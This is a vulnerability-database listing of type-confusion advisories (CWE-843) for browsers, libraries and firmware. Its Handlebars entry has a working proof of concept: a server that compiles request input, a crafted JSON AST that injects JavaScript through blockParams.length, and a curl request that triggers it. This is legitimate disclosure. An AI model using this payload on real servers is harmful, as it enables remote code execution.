Common Weakness Enumeration

CWE-843

Allowed

Access of Resource Using Incompatible Type ('Type Confusion')

Abstraction: Base · Status: Incomplete

The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

1229 vulnerabilities reference this CWE, most recent first.

GHSA-8J76-JCHM-GQF4

Vulnerability from github – Published: 2026-08-18 15:31 – Updated: 2026-08-19 15:32
VLAI
Details

JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 154, Firefox ESR 140.14, and Firefox ESR 153.1.

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{
  "affected": [],
  "aliases": [
    "CVE-2026-74976"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T13:17:35Z",
    "severity": "MODERATE"
  },
  "details": "JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 154, Firefox ESR 140.14, and Firefox ESR 153.1.",
  "id": "GHSA-8j76-jchm-gqf4",
  "modified": "2026-08-19T15:32:02Z",
  "published": "2026-08-18T15:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74976"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1952164"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-74"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-76"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-77"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-78"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-79"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-80"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8M3J-QH2V-PC64

Vulnerability from github – Published: 2026-07-30 03:31 – Updated: 2026-07-30 18:31
VLAI
Details

Type Confusion in ANGLE in Google Chrome prior to 151.0.7922.72 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

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{
  "affected": [],
  "aliases": [
    "CVE-2026-17687"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T01:16:30Z",
    "severity": "CRITICAL"
  },
  "details": "Type Confusion in ANGLE in Google Chrome prior to 151.0.7922.72 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-8m3j-qh2v-pc64",
  "modified": "2026-07-30T18:31:27Z",
  "published": "2026-07-30T03:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17687"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/07/stable-channel-update-for-desktop_0887107924.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/516985726"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8M69-P3VJ-FHQC

Vulnerability from github – Published: 2026-05-20 21:31 – Updated: 2026-05-20 21:31
VLAI
Details

Type Confusion in GFX in Google Chrome on Linux, ChromeOS prior to 148.0.7778.179 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: High)

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{
  "affected": [],
  "aliases": [
    "CVE-2026-9117"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-20T20:16:43Z",
    "severity": "HIGH"
  },
  "details": "Type Confusion in GFX in Google Chrome on Linux, ChromeOS prior to 148.0.7778.179 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: High)",
  "id": "GHSA-8m69-p3vj-fhqc",
  "modified": "2026-05-20T21:31:33Z",
  "published": "2026-05-20T21:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9117"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/497542537"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8M6Q-HJ66-2CMR

Vulnerability from github – Published: 2022-04-23 00:40 – Updated: 2023-02-02 18:31
VLAI
Details

The CSS parser (khtml/css/cssparser.cpp) in Konqueror in KDE 4.7.3 allows remote attackers to cause a denial of service (crash) and possibly read memory via a crafted font face source, related to "type confusion."

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{
  "affected": [],
  "aliases": [
    "CVE-2012-4512"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-02-08T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The CSS parser (khtml/css/cssparser.cpp) in Konqueror in KDE 4.7.3 allows remote attackers to cause a denial of service (crash) and possibly read memory via a crafted font face source, related to \"type confusion.\"",
  "id": "GHSA-8m6q-hj66-2cmr",
  "modified": "2023-02-02T18:31:06Z",
  "published": "2022-04-23T00:40:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-4512"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2012:1416"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2012:1418"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2012-4512"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=865779"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/bugtraq/2012-11/0005.html"
    },
    {
      "type": "WEB",
      "url": "http://em386.blogspot.com/2010/12/webkit-css-type-confusion.html"
    },
    {
      "type": "WEB",
      "url": "http://quickgit.kde.org/index.php?p=kdelibs.git\u0026a=commitdiff\u0026h=a872c8a969a8bd3706253d6ba24088e4f07f3352"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2012-1416.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2012-1418.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/51097"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/51145"
    },
    {
      "type": "WEB",
      "url": "http://www.nth-dimension.org.uk/pub/NDSA20121010.txt.asc"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2012/10/11/11"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2012/10/30/6"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1027709"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8M9G-C3MM-HR68

Vulnerability from github – Published: 2024-10-03 18:30 – Updated: 2024-10-30 15:30
VLAI
Details

Access of Resource Using Incompatible Type ('Type Confusion') vulnerability in Webroot SecureAnywhere - Web Shield on Windows, ARM, 64 bit, 32 bit (wrUrl.Dll modules) allows Functionality Misuse.This issue affects SecureAnywhere - Web Shield: before 2.1.2.3.

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{
  "affected": [],
  "aliases": [
    "CVE-2024-7825"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-03T17:15:15Z",
    "severity": "MODERATE"
  },
  "details": "Access of Resource Using Incompatible Type (\u0027Type Confusion\u0027) vulnerability in Webroot SecureAnywhere - Web Shield on Windows, ARM, 64 bit, 32 bit (wrUrl.Dll modules) allows Functionality Misuse.This issue affects SecureAnywhere - Web Shield: before 2.1.2.3.",
  "id": "GHSA-8m9g-c3mm-hr68",
  "modified": "2024-10-30T15:30:44Z",
  "published": "2024-10-03T18:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7825"
    },
    {
      "type": "WEB",
      "url": "https://answers.webroot.com/Webroot/ukp.aspx?pid=12\u0026app=vw\u0026vw=1\u0026login=1\u0026json=1\u0026solutionid=4275"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8MWF-HVFP-6XFG

Vulnerability from github – Published: 2023-06-06 00:30 – Updated: 2025-10-22 00:32
VLAI
Details

Type confusion in V8 in Google Chrome prior to 114.0.5735.110 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

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{
  "affected": [],
  "aliases": [
    "CVE-2023-3079"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-05T22:15:12Z",
    "severity": "HIGH"
  },
  "details": "Type confusion in V8 in Google Chrome prior to 114.0.5735.110 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-8mwf-hvfp-6xfg",
  "modified": "2025-10-22T00:32:44Z",
  "published": "2023-06-06T00:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3079"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2023/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/1450481"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DYTXO5E3FI3I2ETDP3HF4SHYYTFMKMIC"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/U4OXTNIZY4JYHJT7CVLPAJQILI6BISVM"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202311-11"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202401-34"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-3079"
    },
    {
      "type": "WEB",
      "url": "https://www.couchbase.com/alerts"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5420"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/176211/Chrome-V8-Type-Confusion.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/176212/Chrome-V8-Type-Confusion-New-Sandbox-Escape.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8MXC-VQRQ-GCM8

Vulnerability from github – Published: 2025-02-26 18:30 – Updated: 2025-03-02 03:30
VLAI
Details

jq v1.7.1 contains a stack-buffer-overflow in the decNumberCopy function within decNumber.c.

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{
  "affected": [],
  "aliases": [
    "CVE-2024-53427"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-26T16:15:16Z",
    "severity": "HIGH"
  },
  "details": "jq v1.7.1 contains a stack-buffer-overflow in the decNumberCopy function within decNumber.c.",
  "id": "GHSA-8mxc-vqrq-gcm8",
  "modified": "2025-03-02T03:30:31Z",
  "published": "2025-02-26T18:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53427"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jqlang/jq/issues/3196"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Ekkosun/a83870ce7f3b7813b9b462a395e8ad92"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jqlang/jq/blob/71c2ab509a8628dbbad4bc7b3f98a64aa90d3297/src/decNumber/decNumber.c#L3375"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8PGP-5CG5-C3CJ

Vulnerability from github – Published: 2025-05-27 18:30 – Updated: 2025-05-29 21:31
VLAI
Details

An issue was discovered in the GPU in Samsung Mobile Processor Exynos 1480 and 2400. Type confusion leads to a Denial of Service.

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{
  "affected": [],
  "aliases": [
    "CVE-2024-49196"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-27T17:15:25Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in the GPU in Samsung Mobile Processor Exynos 1480 and 2400. Type confusion leads to a Denial of Service.",
  "id": "GHSA-8pgp-5cg5-c3cj",
  "modified": "2025-05-29T21:31:36Z",
  "published": "2025-05-27T18:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49196"
    },
    {
      "type": "WEB",
      "url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates"
    },
    {
      "type": "WEB",
      "url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/cve-2024-49196"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8R5X-FM3F-WHWJ

Vulnerability from github – Published: 2026-10-08 17:52 – Updated: 2026-10-08 17:52
VLAI
Summary
Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)
Details

Summary

Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.

If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.

Applications that only ever pass template strings are not affected.

This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.

Details

The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:

AST value Written into generated code as Compile options needed
Program.blockParams.length container.program(<index>, data, <length>) none (default options)
depth on a param that is not a PathExpression, e.g. a StringLiteral depths[<depth>] stringParams: true
A StringLiteral.value that is not a string raw JavaScript literal stringParams: true
A PathExpression.original that is not a string raw JavaScript literal stringParams: true

The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:

  1. the blockParams object has no type, so none of the type-specific checks apply, and
  2. the walker skips the string under length because it is not an object.

The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.

Proof of Concept

  1. Start a server that compiles request input:
import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
  res.send(template());
});

app.listen(2123);
  1. Save this request body as poc.json. missingHelper does not need to exist:
{
  "text": {
    "type": "Program",
    "loc": { "start": { "line": 1, "column": 0 } },
    "body": [
      {
        "type": "BlockStatement",
        "path": {
          "type": "PathExpression", "data": false, "depth": 0,
          "parts": ["missingHelper"], "original": "missingHelper",
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "params": [],
        "program": {
          "type": "Program",
          "blockParams": {
            "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
          },
          "body": [],
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "openStrip": { "open": false, "close": false },
        "inverseStrip": { "open": false, "close": false },
        "closeStrip": { "open": false, "close": false },
        "loc": { "start": { "line": 1, "column": 0 } }
      }
    ]
  }
}
  1. Send the request:
curl -s -X POST 'http://127.0.0.1:2123/api/render' \
     -H 'Content-Type: application/json' --data-binary @poc.json

The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:

Error: Injected code ran as uid 1000

Impact

An application is affected if untrusted input can reach Handlebars.compile() or Handlebars.precompile() as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to compile().

  • compile(): arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution).
  • precompile(): the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers.

Workarounds

  • Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value. javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); }
  • Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

Credits

Variant Program.blockParams

Variant BooleanLiteral|NumberLiteral.value

Variant PathExpression.depth

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.9"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:52:32Z",
    "nvd_published_at": "2026-10-06T20:17:26Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`Handlebars.compile()` and `Handlebars.precompile()` accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on `PathExpression`, `NumberLiteral` and `BooleanLiteral` nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.\n\nIf an application passes an untrusted object to `compile()` or `precompile()`, such as a parsed JSON request body, that object can carry arbitrary JavaScript. With `compile()`, the code runs on the server when the template renders. With `precompile()`, it ends up in the precompiled output and runs wherever that output is loaded.\n\nApplications that only ever pass template **strings** are not affected.\n\nThis bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.\n\n## Details\n\nThe 4.7.9 validator runs in `parseWithoutProcessing()` and walks the whole AST. It only checks values on nodes whose `type` is `PathExpression`, `NumberLiteral` or `BooleanLiteral`. It passes over plain objects without a `type`, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:\n\n| AST value | Written into generated code as | Compile options needed |\n| --- | --- | --- |\n| `Program.blockParams.length` | `container.program(\u003cindex\u003e, data, \u003clength\u003e)` | none (default options) |\n| `depth` on a param that is not a `PathExpression`, e.g. a `StringLiteral` | `depths[\u003cdepth\u003e]` | `stringParams: true` |\n| A `StringLiteral.value` that is not a string | raw JavaScript literal | `stringParams: true` |\n| A `PathExpression.original` that is not a string | raw JavaScript literal | `stringParams: true` |\n\nThe first row works with default options. A `Program` with `blockParams: { \"length\": \"\u003cJS expression\u003e\" }` passes validation because:\n\n1. the `blockParams` object has no `type`, so none of the type-specific checks apply, and\n2. the walker skips the string under `length` because it is not an object.\n\nThe compiler then reads `program.blockParams.length` and writes the string directly into the template function. The `container.program(...)` call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block\u0027s helper does not exist.\n\n## Proof of Concept\n\n1. Start a server that compiles request input:\n\n```js\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n  const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string\n  res.send(template());\n});\n\napp.listen(2123);\n```\n\n2. Save this request body as `poc.json`. `missingHelper` does not need to exist:\n\n```json\n{\n  \"text\": {\n    \"type\": \"Program\",\n    \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } },\n    \"body\": [\n      {\n        \"type\": \"BlockStatement\",\n        \"path\": {\n          \"type\": \"PathExpression\", \"data\": false, \"depth\": 0,\n          \"parts\": [\"missingHelper\"], \"original\": \"missingHelper\",\n          \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } }\n        },\n        \"params\": [],\n        \"program\": {\n          \"type\": \"Program\",\n          \"blockParams\": {\n            \"length\": \"(()=\u003e{throw new Error(\u0027Injected code ran as uid \u0027 + process.getuid())})()\"\n          },\n          \"body\": [],\n          \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } }\n        },\n        \"openStrip\": { \"open\": false, \"close\": false },\n        \"inverseStrip\": { \"open\": false, \"close\": false },\n        \"closeStrip\": { \"open\": false, \"close\": false },\n        \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } }\n      }\n    ]\n  }\n}\n```\n\n3. Send the request:\n\n```sh\ncurl -s -X POST \u0027http://127.0.0.1:2123/api/render\u0027 \\\n     -H \u0027Content-Type: application/json\u0027 --data-binary @poc.json\n```\n\nThe server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:\n\n```\nError: Injected code ran as uid 1000\n```\n\n## Impact\n\nAn application is affected if untrusted input can reach `Handlebars.compile()` or `Handlebars.precompile()` as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to `compile()`.\n\n- **`compile()`**: arbitrary JavaScript runs in the Node.js process with the application\u0027s privileges (remote code execution).\n- **`precompile()`**: the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users\u0027 browsers.\n\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a  `string`, never a plain object or JSON-deserialized value.\n  ```javascript\n  if (typeof templateInput !== \u0027string\u0027) {\n    throw new TypeError(\u0027Template must be a string\u0027);\n  }\n  ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are  pre-compiled at build time; `compile()` will be unavailable.\n\n## Credits\n\n### Variant `Program.blockParams`\n- [Nick Mykhailyshyn - @whoareme](https://x.com/whoareme33)\n- [jmoritzc53 ](https://github.com/jmoritzc53)\n- [bhaswanthc ](https://github.com/bhaswanthc)\n- [dinhvaren ](https://github.com/dinhvaren)\n- [n0tra4e ](https://github.com/n0tra4e) \n- [PellaML](https://github.com/PellaML)\n- [kustundag](https://github.com/kustundag)\n- [kagebunsher](https://github.com/kagebunsher)\n- [sanmatte](https://github.com/sanmatte)\n\n### Variant `BooleanLiteral|NumberLiteral.value`\n\n- [sondt99 ](https://github.com/sondt99) Thai Son Dinh from VinSOC Labs (R\u0026D)\n- [Ahmed-Elmahgob ](https://github.com/Ahmed-Elmahgob)\n- [nikolakojic-rasit ](https://github.com/nikolakojic-rasit)\n- [vk-can](https://github.com/vk-can)\n- [shenhuanageshei](https://github.com/shenhuanageshei)\n- [kustundag](https://github.com/kustundag)\n- [kagebunsher](https://github.com/kagebunsher)\n- [ffasterss](https://github.com/ffasterss)\n\n### Variant `PathExpression.depth`\n\n- [hibrian827](https://github.com/hibrian827) Team Atlanta\n- [oss-security-shopify](https://github.com/oss-security-shopify)",
  "id": "GHSA-8r5x-fm3f-whwj",
  "modified": "2026-10-08T17:52:33Z",
  "published": "2026-10-08T17:52:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-8r5x-fm3f-whwj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106446"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/pull/2185"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/703fdcc5fd6cc8d1cc0c33cc19de40c467c4b8d2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)"
}

GHSA-8RFX-73JP-8RCR

Vulnerability from github – Published: 2025-02-07 03:32 – Updated: 2025-02-07 03:32
VLAI
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Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability

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{
  "affected": [],
  "aliases": [
    "CVE-2025-21279"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-06T23:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability",
  "id": "GHSA-8rfx-73jp-8rcr",
  "modified": "2025-02-07T03:32:02Z",
  "published": "2025-02-07T03:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21279"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21279"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

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